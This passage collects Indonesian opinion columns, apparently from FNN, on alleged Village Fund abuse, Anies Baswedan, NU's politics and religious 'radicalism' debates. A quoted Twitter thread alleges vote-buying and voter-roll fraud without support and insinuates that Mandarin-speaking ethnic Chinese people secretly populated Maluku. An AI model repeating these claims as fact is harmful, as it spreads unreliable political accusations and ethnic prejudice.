pemeriksaan. “Ditjen Bina Pemerintahan Desa membentuk tim, tim kami turun melihat langsung benar ada atau tidak isu itu, ternyata memang ada 4 desa yang tidak memenuhi syarat terbentuk menjadi sebuah desa,” tegas Nata. Temuan itu rupanya sudah diselidiki oleh pihak kepolisian. Yang ditangani adalah dugaan tindak pidana korupsi membentuk atau mendefinitifkan desa-desa tak sesuai prosedur dengan menggunakan dokumen tidak sah. Akibatnya terjadi kerugian keuangan negara atau daerah atas Dana Desa (DD) dan Alokasi Dana Desa (ADD) yang dikelola beberapa desa di Kabupaten Konawe Tahun Anggaran 2016 sampai dengan Tahun Anggaran 2018. Melansir Merdeka.com, Rabu (6/11/2019 15:31), Juru Bicara KPK Febri Diansyah mengaku lembaganya sudah diajak koordinasi oleh Polda Sulawesi Tenggara dalam pengusutan kasus tersebut. “KPK melaksanakan tugas koordinasi dan supervisi dalam bentuk dukungan terhadap penanganan perkara oleh Kepolisian Daerah Sulawesi Tenggara,” ujar Febri di kantornya, Rabu (6/11). Dalam perkara tersebut, lanjut dia, diduga ada 34 desa bermasalah, tiga desa di antaranya fiktif, sedangkan 31 desa lainnya ada, akan tetapi surat keputusan pembentukannya dibuat dengan tanggal mundur. Sementara pada saat desa tersebut dibentuk sudah ada moratorium dari Kemendagri, sehingga untuk mendapatkan dana desa harus dibuat tanggal pembentukannya itu 'backdate' (tanggal mundur). Alokasi Pilpres? Ada sebuah tulisan menarik dari akun twitter Niaz @Niazdhani tentang Dana Desa. Berikut ini catatannya. Di Indonesia jumlah desa menurut BPS dan mendapat bantuan Dana Desa Rp 800 juta/desa sebanyak 74.957 desa. Total Rp 60 triliun per tahun selama 2015-2018 = Rp 180 triliun. Jika penggunaannya benar, ini adalah prestasi Presiden Joko Widodo. Menjelang Pilpres, 17 April 2019, Pemerintah kucurkan Bandes Rp1,8 miliar per desa atau Rp 135 triliun. Bayangkan, 70% desa di Indonesia penduduknya kurang 1000 orang/desa, 1 warga bisa mendapat Rp 1 juta dari Bangdes 2019. Di Indonesia Timur, 70% desa hanya berpenduduk kurang dari 500 orang per desa. Jumlah insentif jika Jokowi menang bisa naik menjadi Rp 2-3 juta/orang. Bisa Rp 4-5 juta per suara pemilih, karena jumlah pemilih hanya 150-250 orang per desa. Inilah senjata pamungkas. Dan, Presiden Jokowi sudah wanti-wanti, dana bantuan desa tidak boleh diganggu. Biarkan saja untuk sukseskan pemilu. Rp180 triliun + Rp135 triliun = Rp 315 triliun! Modal pilpres dari APBN. Lihat contoh jumlah penduduk desa di Aceh, Kabupaten Simeulue 70% kurang dari 1.000 penduduk, jumlah pemilih hanya sekitar 150-600 per desa dapat dana Rp 800 juta Bangdes bisa dibagi-bagi Rp1-2 juta per pemilih jika Jokowi menang. Bahkan di Kecamatan Teupah Barat, Simeulue, Aceh, tidak 1 desa pun penduduknya capai 1000 orang. Ada 1 desa hanya 160 jiwa. Pemilih pilpres hanya 36 orang dapat Rp 800 juta, dibagi 40 saja masih Rp 20 juta per orang. Apakah 169 orang adalah jumlah penduduk paling sedikit di Aceh? Tidak! Di desa Serasah dan Kuta Batu, Aceh, jumlah penduduk desa hanya 89 dan 68 orang. Jumlah pemilih hanya 21 dan 17 orang per desa dapat dana Bangdes Rp 1,8 miliar awal April 2019 Rp 80-100 juta per suara. Karena data resmi inilah @Niazdhani berencana pindah Desa Sade Ate, Leuser di Bawah Gunung dan Danau Leuser. Penduduk desa hanya 70 orang, jumlah pemilih 12 orang. April 2019 dapat Rp 1,8 miliar Bangdes. “Masa’ saya sendiri ga dapat Rp 100 juta? Pak Kades Rp 500 juta,” kicaunya. Jika mau dapat lebih, bisa. Tapi desanya agak di atas gunung. Jumlah penduduk tak sampai 70 dan pemilih tercatat di DPT hanya 8 orang Rp 1,8 miliar dibagi 8 kan Rp 250 juta per pemilih. Itu tadi di Aceh. Di Maluku pun banyak desa berpenduduk kurang dari 500 orang. Misalnya, di Kecamatan Kei Selatan, desa > 500 penduduk hanya 3 desa. Kalau di Maluku saja jumlah penduduk per desa banyak di bawah 500 jiwa, lain pula di Papua. Di Papua, jumlah desa dengan jumlah penduduk kurang dari 100 jiwa juga banyak. Mau diapain uang bangdes Rp 800-1,8 miliar per desa? Dari hampir 75 ribu desa 8 ribu desa baru 1.700 desa saja tidak diketahui penduduknya. Yang embat dana desa siapa? Tanya Mendagri (Tjahjo Kumulo saat itu) 1.000 x 800.000.000 = Rp 800 miliar x 3 tahun = Rp 2,7 triliun. Tahun 2019 = Rp 1,8 miliar x 1000 = 1,8 triliun = Rp.4,5 triliun. Dus, siapa yang terima dana Bangdes? Jadi, terbukti pemilu itu bisa kurangi angka kemiskinan. Bagi yang masih miskin dan ingin dapat uang besar secara gratis, segera urus surat pindah ke desa yang penduduknya di bawah 100 orang, pemilih < 20 orang. Dijamin dapat minimal Rp 100 juta Saat ini baru saja ketemu Desa Teriame, Kecamatan Yefta, Kabupaten Pegunungan Bintang, Papua. Jumlah penduduk desa 31 orang. Jumlah pemilih 7 orang. Rp 1,8 miliar dibagi 7 = 250 juta per pemilih! Seperti dilansir Liputan6.com, Rp 179 Triliun dana desa telah dicairkan untuk 74,9 ribu desa, Rp 800 juta/desa. Menyusul, tahun depan Rp135 trliun, per desa Rp 1,8 miliar. Kalau setiap pemilu dapat Rp 100 juta, artinya setahun Rp 20 juta. Sebulan Rp 2 juta (dibulatkan). Di desa, uang Rp 2 juta/bulan kan cukup. Jadi tak usah kerja. Tinggal tunggu pilpres saja. Dapat dana bangdes minimal Rp 100 juta, maksimal Rp 300 juta. Asal pilih Jokowi dan pilih desa yang tepat! Kalau ditangkap polisi gimana? 1. Kalau Jokowi menang, dijamin aman; 2. Kalau ditangkap, kan kades yang jadi tersangka, bukan rakyat. Kalau mau lebih aman, suruh kades setorkan ke Muspika setempat. Dijamin aman dech! Artinya, Jokowi baik dong? Oh ya, tentu saja. Jokowi baik hati. Toh bukan uang pribadi, itu kan uang pajak rakyat dan utang dari IMF plus Surat Utang Negara (SUN). Jokowi harus begitu. Harus menang pilpres! Teman dari Maluku bilang, di Maluku ada ratusan pulau. Dulu tak ada penduduknya, paling 1-2 keluarga. Kini penduduknya ramai. Ngakunya orang Maluku tapi mata sipit, kulit kuning, jago bahasa Mandarin, khek, hokian atau konghu. Tapi tidak bisa bahasa Indonesia. Jumlahnya ribuan! Ternyata ada desa yang penduduknya hanya 22 orang. Ada satu desa, penduduknya hanya 7 orang! Wow, Rp 800 juta per desa, satu orang dapat pekjigo tiaw! Rp 1,8 miliar bagi 7 orang berapa ya? Pindah ke Desa Kamai, Kecamatan Benuki, Kab Mamberamo Raya, Papua. “Saya jadi paham mengapa KPU Papua mark up ugal-ugalan jumlah pemilih. Seharusnya 1,7 juta pemilih, direkayasa DPT jadi 3,5 juta pemilih. Terkait proyek cetak, antar logistik yang miliaran rupiah. Terkait mark up anggaran KPU Papua 300-400%,” tulis Niaz. “Dengan alasan jumlah pemilih dan medan berat. Saya jadi paham mengapa dibiarkan sama SBY dulu dan Jokowi sekarang. Oknum KPU kantongi uang anggaran hasil mark up DPT. SBY dan Jokowi yang kantongi suara mark up-nya. Simbiosis oramutualisme!” Kunci dari semua ini sekarang ada di tangan Mendagri Tito Karnavian. Ditunggu keberanian mantan Kapolri ini untuk ungkap semua bantuan Dana Desa! End. Penulis adalah wartawan senior.

Anies Baswedan, Dipuji Tidak Terbang, Dicaci Tidak Tumbang

Oleh Hudzaifah Jakarta, FNN - Nama Gubernur DKI Jakarta Anies Baswedan belakangan menjadi viral. Oleh sebab berbagai cacian, cemoohan, bahkan tudingan diarahkan kepadanya. Namun prestasi demi prestasi yang muncul dan pengakuan dari berbagai kalangan mengenai sosok membanggakan sekaligus sarat cacian ini. Konon sejumlah lembaga survei terkemuka di tanah air mencoba menggelar survei terbatas dan tertutup mengenai sosok siapakah yang paling digemari jika hari ini digelar Pemilihan Presiden. Jawabannya mengejutkan, ternyata rerata hasil survei lembaga survei tersebut menunjukkan nama Anies Baswedan dengan tingkat elektabilitas 40%. Sementara pilihan warga terhadap tokoh-tokoh lain yang beredar seperti Prabowo Subianto, Sandiaga Salahudin Uno, Risma Harini, Ridwan Kamil, Ganjar Pranowo, Budi Gunawan, Puan Maharani, Agus Harimurti Yudhoyono, Khofifah Indarparawansa, Airlangga Hartarto, sampai Muhaimin Iskandar, rerata di bawah 10%. Survei non publish ini menunjukkan bahwa nama Anies tak terbendung. Dia meninggalkan nama-nama kuat untuk Pilpres 2024. Sampai di sini wajar kalau Anies menjadi trending topic yang terus menghiasi, terutama media-media sosial, sementara media mainstream cenderung mengabaikan, bahkan tak memberi space sama sekali. Sosok Penuh Pujian Jika menengok berbagai penghargaan yang diterima Anies selama ini memimpin kota Fatahillah ini sungguh sangat membanggakan. Mulai dari predikat hasil audit wajar tanpa pengecualian (WTP) atas laporan keuangan Pemprov DKI sejak dipimpinnnya pada 2017 dan 2018. Mengapa membanggakan? Oleh karena sejak Jokowi menjadi Gubernur DKI Jakarta mulai 2014, sampai diganti oleh Basuki Tjahaja Purnama 2017, laporan keuangan Pemprov DKI Jakarta hanya berhenti pada level wajar dengan pengecualian (WDP). Jelas Anies sangat piawai menyusun, menggunakan dan melaporkan Anggaran Pendapatan dan Belanja Daerah (APBD). Makanya agak aneh dan terkesan dibuat-buat, seolah-olah penyusunan RAPBD 2020 dituding oleh kader Partai Solidaritas Indonesia (PSI) disusupi niat buruk terkait adanya anggaran Aica Aibon mencapai Rp82 miliar, anggaran ballpoint Rp124 miliar, anggaran kertas Rp213 miliar. Termasuk anggaran untuk influenzer Rp5 miliar dan jalur sepeda Rp73 miliar. Padahal itu baru dummy anggaran, artinya belum dapat dikategorikan RAPBD, utak-atiknya masih bersifat internal, dan oleh karenya masih terbuka peluang untuk diubah hingga 100% alias dihilangkan. Bahkan Anies sendiri yang memimpin koreksi dan evaluasi anggaran-anggaran aneh tersebut dalam satu rapat internal. Tapi situasi ini didramatisasi, di-push oleh buzzer-buzzer piaraan PSI, eks Ahoker, seolah-olah sebagai temuan korupsi. Bahkan tak puas sampai di situ, tim buzzer ini mengirim bunga ucapan terima kasih di depan Balai Kota seolah pengungkapan korupsi ini layak dikasih award. Satu hal yang PSI dan para buzzernya lupa, pengungkapan yang tidak tepat untuk sesuatu yang masih moving target (masih bergerak) itu bukan menjatuhkan kredibilitas Anies, tapi justru melambungkan nama Anies dan menjadi trending topic yang manis. Bahkan sebaliknya, menepuk air didulang, terpercik muka sendiri. William Aditya Sarana, alias William Aibon, yang berharap menjadi hero pembongkaran korupsi, malah diperiksa Badan Kehormatan DPRD DKI Jakarta. William sang politisi muda PSI, yang tentu saja masih ingusan, dianggap melanggar etika terkait isu anggaran. Harusnya William teriak dan berjibaku setelah dummy anggaran itu disisir oleh internal Pemprov DKI Jakarta masuk dalam RAPBD 2020, bersama anggota DPRD lainnya. Di situlah seharusnya ia bisa tampil jadi pahlawan, sayangnya sequences ini tak dipahami oleh para politisi ingusan PSI. Wajar kalau Anies yang justru mendapat applause luar biasa. Selain itu Anies juga mendapat kado istimewa karena gugatan para taipan soal pencabutan izin reklamasi Pantura Jakarta dimenangkan oleh Anies di Pengadilan Tata Usaha Negara (PTUN). Reklamasi yang digagas Ahok bersama para taipan dianggap ilegal karena tidak mengurus IMB dan Amdal dengan benar. Tentu saja hal ini membuat pengikut Ahok dan para taipan berang tak karuan dan tentu saja berusaha menjegal kepemimpinan Anies dengan menghalalkan segala cara. Tak hanya sampai di situ, Anies juga berhasil membangun Intermediate Treatment Facility (ITF) Sunter, Jakarta Utara dengan Badan Usaha Milik Daerah BUMD melalui PT Jakarta Propertindo. ITF ini adalah tungku penampung sampah yang dengan sistem tertentu keluarannya berubah menjadi energi listrik. Ini adalah cikal bakal kemandirian energi sekaligus menyelesaikan persoalan sampah DKI Jakarta selama ini. Raihan prestasi Anies tak berhtenti sampai di situ, belum lama ini World Cities Summit and Mayors Forum (WCSMF) 2019 menobatkan Jakarta sebagai kota terbaik dalam perbaikan sistem transportasi dan mobilitas kota (Sustainable Transport Award—STA) di Forteleza, Brazil. Anies juga dianugerahi sebagai Gubernur Merah Putih oleh Majalah Warta Ekonomi dan Rakyat Merdeka karena keberpihakan dan kecintaannya pada warga DKI Jakarta lewat aneka program sosial dan pembangunan. Belum lagi DKI Jakarta menjadi kota pertama di Asia Tenggara yang diberikan penghargaan Geo Innovation Award pada ESRI (Environmental System Reasearch Institute). Penghargaan tersebut diterima Gubernur Anies, menambah panjang penghargaan. Terkhir keluarga besar Anies Baswedan pada 10 November mendapat penghargaan atas kepahlawanan sang kakek Abdul Rahman (AR) Baswedan oleh Presiden Jokowi di Istana Negara. Makin menjejakkan kapasitas dan kredibilitas Anies terhadap NKRI. Berkat upaya kerasnya, Anies juga berhasil merealisasikan janji politiknya soal kepemilikan rumah dengan uang muka (down payment—DP) 0%. Membuat kecintaan warga Jakarta terhadap Anies makin membuncah. Atas segala kerja kerasnya, DKI Jakarta berhasil tumbuh 6,23%, di atas rata-rata pertumbuhan nasional yang baru saja memperoleh laju pompa ekonomi hanya 5,02%. Prestasi demi prestasi, tidak semuanya terekam dalam tulisan ini, tapi tak membuat Anies terbang melayang dibuatnya. Anies tetap tersenyum simpatik, terus bekerja dan terus berprestasi di tengah badai cacian, umpatan dan cemoohan kaum pembenci. Pendek kata, Anies tidak serta merta terbang melayang oleh aneka pujian, award dan pengakuan. Tak tumbang dicaci Pada saat yang sama Anies bukanlah tipe manusia yang baperan, gampang ngambek, marah-marah, atau mentalnya tumbang hanya karena cacian. Majalah Tempo (Editor dan tabloid Detik) yang pernah dibela Anies bersama teman-temannya saat mahasiswa karena dibreidel Pemerintah Soeharto, pun ikut mengkritik Anies terkait kasus lem Aibon. Menjadi cover majalah Tempo dengan sudut pandang yang negatif tidak membuat Anies marah-marah. Anies malah memuji majalah Tempo karena kekritisannya. Saat masih mahasiswa Anies Baswedan memimpin demo mahasiswa atas penutupan majalah Tempo, Editor dan tabloid Detik. Ketiganya di breidel oleh Pemerintah Soeharto karena getol mengkritik kebijakan Pemerintah yang aneh. Hari ini, setelah 25 tahun reformasi, Tempo mengkritisi kisruh lem Aibon di APBD Pemprov DKI, Anies pun menghormati kebebasan pers sambil memberi konfirmasi apa yang terjadi sesungguhnya. Anies malah berterima kasih pada Tempo demgan mengatakan: "Terima kasih Tempo telah menjalankan tugasnya sebagai pilar keempat demokrasi. Semoga perbaikan sistem yang sedang berjalan bisa segera kami tuntaskan. Terus awasi kami yang sedang bertugas di pemerintahan. Karikaturnya boleh juga. Kalau tidak begitu bukan Tempo namanya." Tak hanya Tempo, sosok seperti William Aditya Sarana, Rian Ernest Tanudjaja, Ade Armando, Deny Siregar, Abu Janda, dan barisan Ahoker dan Jokower lainnya tak henti-henti mengkritik Anies. Kritikan diarahkan dari berbagai sudut lemah maupun sedang, tapi sejauh ini tak ada kritik yang kuat. Tapi Gubernur DKI itu menganggap santai aneka kritikan yang datang secara bertubi-tubi itu. "Memang parpol, anggota DPRD punya hak untuk bicara dan publik bisa menilai. Apakah dia bicara menyelesaikan masalah, memperumit masalah atau hanya aktualisasi diri," tutur Anies. Bahkan politisi PSI Tsamara Amany yang sangat vokal terhadap Pemprov DKI dibuat surprise oleh Anies. Anies dan istri datang ke pernikahan Tsamara dan Ismail Fajrie di hotel Fairmont sebagai bentuk sikap kenegarawanan Anies terhadap lawan politiknya. Tidak baperan, apalagi bermental pecundang. Anies tetap taft memimpin DKI Jakarta, meski dikritik Ade Armando dengan meme ‘Gubernur Jahat, Berawal Dari Menteri Yang Dipecat’. Anies dengan santai mengatakan tak akan menanggapi tudingan kelas rendah tersebut, walaupun anggota DPD Fahira Idris mengadukan Ade ke kepolisian. Tak luput Deny Siregar mengkriti soal proyek bambu getah getih yang hanya menguntungkan segelintir orang. Anies juga dengan enteng menjawab, daripada menghadirkan besi impor dari Tiongkok, masih lebih baik menguntungkan para UKM lokal. Karuan saja Deny Siregar mati angin tak karuan. Pendek kata, Anies bukan tipe yang mudah terbang mengawang-awang ketika dipuji. Bahkan mentalnya tak segera tumbang meski dicaci maki. Inilah modal pemimpin masa depan, gigih, ulet, tahan banting, dan terus berprestasi. Ayo, siapa lagi mau memaki? Anies siap menghadapi...! End. Penulis adalah wartawan senior.

Wabah Sintingisme

By Asyari Usman Jakarta, FNN - Novel Baswedan, penyidik senior KPK, kehilangan mata kiri. Cacat permanen. Karena disiram dengan air keras. Pengusutan tindak pidana itu tak kunjung tuntas. Polisi “tak sanggup” mengusutnya. Bahkan dengan perintah Presiden pun tidak ada hasilnya. Celakanya, sudahlah menderita cacat permanen, Novel bisa-bisa masuk penjara. Dia dilaporkan ke Polisi oleh seorang warga. Dengan tuduhan merekayasa penyiraman air keras itu. Novel dituduh bersandiwara. Tuduhan seperti ini tidak hanya keji dan kejam, tetapi juga berlawanan dengan akal sehat. Luar biasa. Rupanya, sudah sedemikian banyak orang yang mengalami “mental disorder”. Semakin banyak yang sakit jiwa. Entah apa yang menyebabkannya. Sungguh sangat memprihatinkan. Orang-orang yang lahir dan besar di lingkungan yang berintelektualitas tinggi pun terkena wabah “sintingisme” (paham atau aliran sinting). Mungkinkah ini efek dari penipuan pilpres? Mungkinkah kita semua sedang didera oleh wabah kehilangan akal sehat? Wallahu a’lam! Belakangan ini, gejala “sintingisasi” semakin agresif. Ada yang sinting karena ingin mengklaim bahwa dia yang menemukan kejanggalan isian e-budgenting Pemprov DKI. Meskipun Gubernur Anies Baswedan yang lebih dulu menyisir dan menangkap basah keanehan lem aibon dan pena ballpoint. Ada pula yang mengalami gangguan jiwa karena melihat cadar dan celana cingkrang. Sampai-sampai mereka berani tampil keliru dalam menyimpulkan ciri-citi radikalisme. Dan, tak sedikit pula yang tergila-gila dengan terminologi “radikalisme” itu. Lanjut ke bingkai berikutnya, sangat banyak pula yang mengalami gangguan akal sehat akibat kemenangan spektakuler Anies Baswedan di Pilgub DKI 2017. Mereka masih belum pulih. Sampai-sampai banyak petinggi senior yang sekarang gila berat untuk menghambat Anies di Pilgub 2022 yang akan datang. Sintingisme juga melanda dunia politik. Ada yang kehilangan akal karena tak kebagian kursi sesuai keinginannya. Yang punya kursi juga mencoba-coba sesuatu yang melawan akal sehat. Menempatkan orang-orang yang hanya terlihat hebat tetapi belum teruji di bidang yang diamanahi. Demi kemilenialan semata, dikorbankan akal sehat. Nah, apa yang akan terjadi? Kalau serangan wabah sintingisme itu berlanjut tanpa ada upaya pencegahan, ada kemungkinan kesintingan akan menjadi fenomenal. Akan mengancam semua sistem dan subsistem kehidupan lain. Akan mengancam sistem ekonomi dan sosial, sistem moralitas serta sistem nilai reliji (keagamaan). Semua lini kehidupan akan diganggu oleh kesintingan berpikir dan bertindak. Bisa juga sintingisme bakal teradopsi menjadi “new political life style”. Menjadi “gaya hidup politik baru”. Sintingisme dikhawatirkan akan menjadi acuan dalam menyusun kebijakan publik. Akan dijadikan acuan dalam rekrutmen politik dan rekrutmen birokrasi. Singkatnya, kesintingan bakal menggantikan akal sehat. Ini yang berkemungkinan akan terjadi. Kalau semua orang berdiam diri, tidak ada yang mengingatkan dan mengkritisi situasi yang ada ini, maka destinasi sintinglah yang akan menunggu. Ini tentu sangat berbahaya bagi kelangsungan akal sehat. Sekarang ini, semakin banyak posisi penting yang dikendalikan oleh orang sinting. Sangat menakutkan. Horrific! Tak tertutup kemungkinan Indonesia akan dilanda penegakan hukum yang dikendalikan oleh orang-orang sinting. Boleh jadi akan muncul komunitas sinting yang akan melaporkan para hakim Tipikor yang selama ini menjatuhkan vonis penjara terhadap para koruptor. Ada kemungkinan orang-orang sinting akan membatalkan semua hukuman atas para koruptor itu. Kalau grafik sakit jiwa (sintingisme) terus melejit drastis di kalangan para penggemar perbuatan sinting, besar kemungkinan pelaksanaan agenda politik normal menjadi abnormal. Bisa saja orang-orang yang terbiasa menipu rakyat, akan mengajarkan dan menanamkan nilai-nilai penipuan itu. Boleh jadi sintingisasi akan dilaksanakan sebagai program wajib oleh para pencinta, penggemar dan penganjur akal sinting. Jumlah mereka tidak bisa dianggap remeh. Jangan pula anggap enteng kemampuan mereka. Mereka ada di mana-mana. Mereka bisa mengelabui publik seolah-olah mereka waras. Ini yang sangat mengerikan. Anda sangka dia masih normal. Ternyata dia terjangkit gangguan akal sehat. Jadi, berhati-hatilah terhadap wabah sintingisme.[] 12 November 2019 Penulis adalah wartawan senior.

Kembali Kepada Kekuatan Moral NU

Presiden Jokowi tidak merasa perlu melayani aksi 411 dulu, karena tahu para petingg NU tak mendukung aksi itu. Bahkan sebaliknya menentangnya. Toh banyak kaum nahdiyyin yang ikut aksi 411. Betul bahwa NU adalah sebuah jama’ah besar. Tetapi aspirasi sosial-politiknya tidak satu. Oleh Kafil Yamin Jakarta, FNN - Pengurus Rabithah Ma"ahid Islamiyah (RMI) PBNU, Ridwan Darmawan mengungkapkan kekecewaan ke publik. Ridwan Darmawan mewakili kekecewaan warga Nahdatul Ulama (NU), yang merasa tidak terwakili di kabinet periode kedua Jokowi. Meski demikian, sebagai pribadi, pernyataan itu cukup mewakili perasaan umum kaum Nahdiyyin. Toh pernyataan pribadi Ridwan Darmawan itu didukung dengan pernyataan tegas dari Wakil Rais Syuriah PWNU Jawa Timur K.H Agoes Ali Masyhur. Beberapa waktu lalu KH. Agoes Ali Masyhur menyatakan “tidak ada dukungan politik yang gratis.” Untuk itu, NU dengan tanpa risih, secara terbuka, menyatakan kekecewaannya karena tidak dikasih jabatan menteri. Juga secara terbuka menyatakan bahwa dukungan NU tersebut tidak gratis. Bila disodorkan hadits nabi yang melarang meminta jabatan, bahwa setiap amal itu harus berdasarkan keikhlasan. Pasti keluar rentetan tafsir dan dalih pembelaan diri bahwa pernyataan NU tersebut masih dalam koridor ahli sunnah wal jama’ah. Psikologi keorganisasian yang tumbuh di kalangan para Nahdhiyyin adalah rasa percaya diri sebagai kelompok mayoritas ummat. Sekaligus juga diberkahi para wali. Sikap psikologis ini sering mengarah kepada rasa percaya diri berlebihan. Tahap selanjutnya adalah anggapan bahwa tanpa dukungan dariNU, urusan sosial, politik dan keagamaan tidak akan jalan dengan baik. Tanpa dukungan politik dari NU, penguasa kekurangan legitimasi. Karena itu kinerjanya akan melemah. Para tokoh NU berhasil membangun citra seperti itu. Seorang Calon Bupati dan Walikota, Calon Gubernur atau Calon Presiden merasa tak mantap kalau tak mendekati para ulama NU. Selama dua kali pilpres kemarin, 2014 dan 2019, kedua capres berusaha membangun kesan bahwa mereka paling dekat dengan para ulama NU. Untuk itu, keduanya ‘sungkem’ kepada para kyai sepuh NU. Rasa percaya diri berlebih ini menular kepada mereka yang merasa mendapat dukungan NU. Disamping itu, ada sedikit modal sifat jumawa, Ahok dulu itu terjadi ‘surplus’ percaya diri karena tahu dia didukung oleh NU, sekaligus para taipan. Ahok tak segan berkata-kata tidak senonoh di depan publik sepanjang tidak membuat para tokoh NU tak nyaman. Karena itu, ketika dia keceletot menyerang K.H, Ma’ruf Amin dalam persidangan, dia buru-buru minta maaf kepada NU. Presiden Jokowi tidak merasa perlu melayani aksi 411 dulu, karena tahu para petingg NU tak mendukung aksi itu. Bahkan sebaliknya menentangnya. Toh banyak kaum nahdiyyin yang ikut aksi 411. Betul bahwa NU adalah sebuah jama’ah besar. Tetapi aspirasi sosial-politiknya tidak satu. Mitos, apa boleh buat. Sering diuji oleh kenyataan. Ahok masuk penjara juga setelah meminta maaf kepada NU. Aksi 411 bertambah besar jadi aksi spektakuler 212 tanpa dukungan NU. Mitos kekuataan jama’ah besar terbantahkan. Untuk memantapkan legitimasinya, Jokowi memasukkan sejumlah tokoh NU ke dalam kabinet hasil pipres 2014. Ternyata kabinetnya tak cukup mantap, karena menteri dan pejabat dari NU banyak yang kena jaring KPK. Sebutlah Muhammad Romahurmuzy, Menag Lukman Hakim dan Menpora Imam Nahrawi. Citra pemerintahan Jokowi jadi buram. Nah, dalam menyusun kabinet periode kedua ini, Jokowi belajar satu hal. Dia sudah memberikan konsesi politik yang cukup untuk NU. Tetapi tidak mendapat hasil yang sesuai dengan mitos. Tidak sesuai harapan. Karena itulah Jokowi kelihatannya memutuskan ‘tidak memperpanjang izin konsesi politik NU’. Peran Moral Namun ketersingkiran NU dari kekuasaan sekarang ini bisa jadi jalan kepada kesejatian NU sebagai organisasi sosial keagamaan. Setelah sekian lama NU disibukkan oleh ‘politik rendah’. Khittah NU 1928 hanya dijadikan sebagai dengan mitos saja. Bila NU sekarang memanfaatkan ketersingkiran dari kekuasaan untuk melakukan ‘konsolidasi spiritual’, maka mitos-mitos tadi bisa menjadi kenyataan. Berikut ini langkah-langkah yang bisa dilakukan NU. Misalnya, anti-korupsi dan riba. Di luar kekuasaan, NU tidak akan lagi gagap ketika bicara tentang anti korupsi. Karena tak akan ada warga NU yang terjerat kasus korupsi. Dengan demikan kampanye, anti korupsi oleh NU bisa lebih berpengaruh ketimbang NU ikut berkuasa. K.H. Makruf Amin terlihat ‘radikal’ ketika sebagai ketua MUI dia bicara tentang BPJS. Bahwa skema tidak sesuai syariat karena mengandung riba. Tetapi setelah jadi cawapres, dia menyatakan bahwa BPJS itu “sarana untuk tolong menolong. Bahasa agamanya ta’awun.” Bila tak ada perwakilan NU di pemerintahan, sikap NU terhadap BJPS dengan skema ekonomi riba lain lagi. Mungkin tidak akan segagap itu. Menjaga toleransi dan kebhinakaan. Adalah lebih efektif mendakwahkan toleransi dan kebhinekaan dengan pendekatan budaya. Selama ini, NU mendakwahkan kedua hal tersebut dengan kekuasaan. Tak terhindarkan menuding pihak oposisi sebagai ‘radikal’, dan cenderung mendiskreditkan penampilan kearab-araban. Tetapi sangat toleran kepada penampilan sekuler Barat. Bahkan tindakan banser menyita bendera HTI dan pertanyatan-pernyataan Said Aqil Siraj malah menjadikan NU terlihat anti kebhinekaan. Mengurangi perpecahan di kalangan ulama. Belakangan ini, sangat tak nyaman mendengar ulama saling serang, saling hujat dan sebagiannya antar sesama tokoh NU. Ini membingungkan ummat. Ummat Islam memang mayoritas di Indonesia, tapi secara ekonomi lemah. Sekarang NU secara politik pun lemah. Sebagiannya dirobek-robek oleh perseteruan di kalangan para ulama. Tidak ada jaminan bahwa kiprah NU di luar kekuasaan akan mengurangi perseteruan ini. Tetapi paling tidak salah satu penyebabnya, yakni persaingan mendapat kekuasaan, telah disingkirkan. Penulis adalah Wartawan Senior

Radikalisme, Cadar, Celana Cingkrang, dan Agama Pembebas

Oleh Edy Mulyadi* Jakarta, FNN - "Jihad yang paling utama adalah mengatakan kebenaran di hadapan penguasa zalim.” (HR Abu Daud, Tirmidzi, dan Ibnu Majah) *** Harus diakui, penguasa negeri ini telah sukses memberi pekerjaan rumah (PR) kepada rakyat Indonesia, khususnya ummat Islam. Rezim terbukti berhasil mengecoh perhatian publik dengan isu radikalisme, cadar, celana cingkrang, jenggot, dan lainnya. Kita pun dibuat ‘sibuk menari di kendang’ yang ditabuh penguasa. Sedangkan masalah utama negeri berupa ekonomi yang nyungsep dan korupsi brutal, terus melenggang tanpa ada hambatan berarti. Tulisan ini hendak mengingatkan kita semua, lagi-lagi khususnya ummat Islam, lebih khusus lagi para ulama, habaib, kyai, asatidz, dan para tokoh lainnya, bahwa Islam turun sebagai agama pembebas. Ya, Islam yang dibawa sejak Nabi Adam AS hingga Muhammad SAW, adalah agama pembebas. Untuk memeluk Islam, kita hanya diminta berikrar bahwa tidak tuhan selain Allah dan mengakui Muhammad SAW adalah utusanNya. Inilah yang dimaksud dengan agama pembebas. Membebaskan penuhanan atas manusia terhadap manusia lain, agar manusia hanya menuhankan Allah belaka. Karena selain Allah bukanlah Tuhan, dan sama sekali tidak layak serta tidak berhak dipertuhankan. Segala bentuk ketidakadilan dan kezaliman harus dilawan, karena hal itu bentuk lain dari wujud penghambaan manusia atas manusia lainnya. Islam dikenal sebagai agama yang menyandang tugas amar ma’ruf nahi munkar. Menyeru pada kebaikan dan menolak kejahatan, kezaliman, ketidakadilan. Gagal, zalim, tidak adil Indonesia, kini rakyatnya mengalami kezaliman luar biasa. Penguasanya memeras rakyat dengan beraneka pajak dan pungutan. Pejabat publiknya mencuri bahkan merampok sumber daya alam (SDA) dan APBN yang sejatinya milik rakyat. Ini adalah kejahatan, ketidakadilan, dan kezaliman! Penguasa negeri ini gagal menyejahterakan rakyat sebagaimana diawajibkan oleh konstitusi. Mereka gagal melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia. Negara gagal memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa sebagaimana amanat paragraf ke-4 UUD 1945 kita. Pemerintah gagal menjamin tiap-tiap warga negara memperoleh pekerjaan dan penghidupan yang layak bagi kemanusiaan (pasal 27 ayat 2). Penguasa gagal memelihara fakir miskin dan anak-anak terlantar (pasal 34 ayat 1). Negara gagal menjamin tiap warga negara memperoleh jaminan dan pelayanan kesehatan yang layak (pasal 34 ayat 3). Pemerintah gagal menjamin kemerdekaan berpendapat, berkumpul dan berserikat (pasal 28E ayat3). Yang ada penguasa memberangus hak azasi ini dan menebar teror dengan pasal-pasal karet UU ITE. Konstitusi kita dengan tegas menjamin adanya persamaan kedudukan dalam hukum. Passal 27 ayat (1) menyebutkan, ”Segala warga negara bersamaan kedudukannya di dalam hukum dan pemerintahan dan wajib menjunjung hukum dan pemerintahan itu dengan tidak ada kecualinya”. Tapi apa yang terjadi? Hukum tajam ke bawah dan tumpul ke atas. Hukum hanya berlaku bagi mereka yang berseberangan dengan penguasa. Sedangkan di hadapan para pendukung dan penjilat kekuasaan hukum menjadi mandul. Penguasa gagal menjamin kemerdekaan tiap-tiap penduduk untuk memeluk agamanya masing-masing dan untuk beribadat menurut agamanya dan kepercayaannya itu (pasal 29 ayat 2). Bukan cuma itu, rezim bahkan berusaha mengriminalisasi 